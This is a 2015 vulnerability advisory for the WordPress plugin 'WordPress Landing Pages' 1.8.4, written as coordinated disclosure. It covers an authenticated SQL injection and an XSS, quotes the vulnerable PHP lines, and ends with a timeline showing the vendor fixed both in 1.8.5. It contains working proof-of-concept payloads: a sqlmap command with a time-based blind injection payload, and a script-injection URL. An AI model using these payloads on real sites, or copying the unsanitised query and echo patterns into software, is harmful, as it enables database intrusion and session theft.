WordPress Landing Pages 1.8.4 Cross Site Scripting / SQL Injection

`# Title: Multiple vulnerabilities in WordPress plugin "WordPress Landing Pages"  
# Author: Adrián M. F. - adrimf85[at]gmail[dot]com  
# Date: 2015-05-25  
# Vendor Homepage: https://wordpress.org/plugins/landing-pages/  
# Active installs: 20,000+  
# Vulnerable version: 1.8.4  
# Fixed version: 1.8.5  
# CVE: CVE-2015-4064, CVE-2015-4065   
  
Vulnerabilities (2)  
=====================  
  
(1) Authenticated SQLi [CWE-89] (CVE-2015-4064)  
-----------------------------------------------  
  
* CODE:  
modules/module.ab-testing.php:100  
+++++++++++++++++++++++++++++++++++++++++  
$wpdb->query("  
SELECT `meta_key`, `meta_value`  
FROM $wpdb->postmeta  
WHERE `post_id` = ".$_GET['post']."  
");  
+++++++++++++++++++++++++++++++++++++++++  
  
* POC:  
http://[domain]/wp-admin/post.php?post=306[SQLi]&action=edit&lp-variation-id=1&ab-action=delete-variation  
  
SQLMap  
+++++++++++++++++++++++++++++++++++++++++  
./sqlmap.py --cookie="[cookie]" --dbms mysql -u "http://[domain]/wp-admin/post.php?post=306&action=edit&lp-variation-id=0&ab-action=delete-variation" -p post  
[............]  
GET parameter 'post' is vulnerable. Do you want to keep testing the others (if any)? [y/N]  
sqlmap identified the following injection points with a total of 86 HTTP(s) requests:  
---  
Parameter: post (GET)  
Type: AND/OR time-based blind  
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)  
Payload: post=306 AND (SELECT * FROM (SELECT(SLEEP(10)))sCKL)&action=edit&lp-variation-id=0&ab-action=delete-variation  
---  
[13:35:01] [INFO] the back-end DBMS is MySQL  
web server operating system: Linux Debian 7.0 (wheezy)  
web application technology: Apache 2.2.22, PHP 5.4.39  
back-end DBMS: MySQL 5.0.12  
+++++++++++++++++++++++++++++++++++++++++  
  
  
(2) Authenticated XSS [CWE-79] (CVE-2015-4065)  
----------------------------------------------  
  
* CODE:  
shared/shortcodes/inbound-shortcodes.php:761  
+++++++++++++++++++++++++++++++++++++++++  
<iframe src='<?php echo INBOUDNOW_SHARED_URLPATH . 'shortcodes/'; ?>preview.php?sc=&post=<?php echo $_GET['post']; ?>' width="285" scrollbar='true' frameborder="0" id="inbound-shortcodes-preview"></iframe>  
+++++++++++++++++++++++++++++++++++++++++  
  
  
* POC:  
http://[domain]/wp-admin/post-new.php?post_type=inbound-forms&post='></iframe><script>alert(String.fromCharCode(88, 83, 83))</script>  
  
  
Timeline  
==========  
2015-05-09: Discovered vulnerability.  
2015-05-20: Vendor notification.  
2015-05-20: Vendor response.  
2015-05-22: Vendor fix.  
2015-05-25: Public disclosure.  
  
`